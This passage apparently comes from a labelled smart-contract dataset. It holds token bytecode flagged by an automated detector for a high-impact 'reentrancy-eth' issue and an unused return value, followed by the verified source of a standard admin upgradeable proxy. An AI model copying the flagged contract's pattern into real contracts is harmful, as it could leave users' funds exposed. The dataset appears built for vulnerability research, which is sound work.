00000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4b616b61736869496e7500000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506714d1120d7b160000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a819055506006600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a819055506008600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f6cf8a84dd1d1ee4f95e4f06565d0fdec79dfb97463166ddc64cb7527befe5964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,975 |
0x55912d0cf83b75c492e761932abc4db4a5cb1b17
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6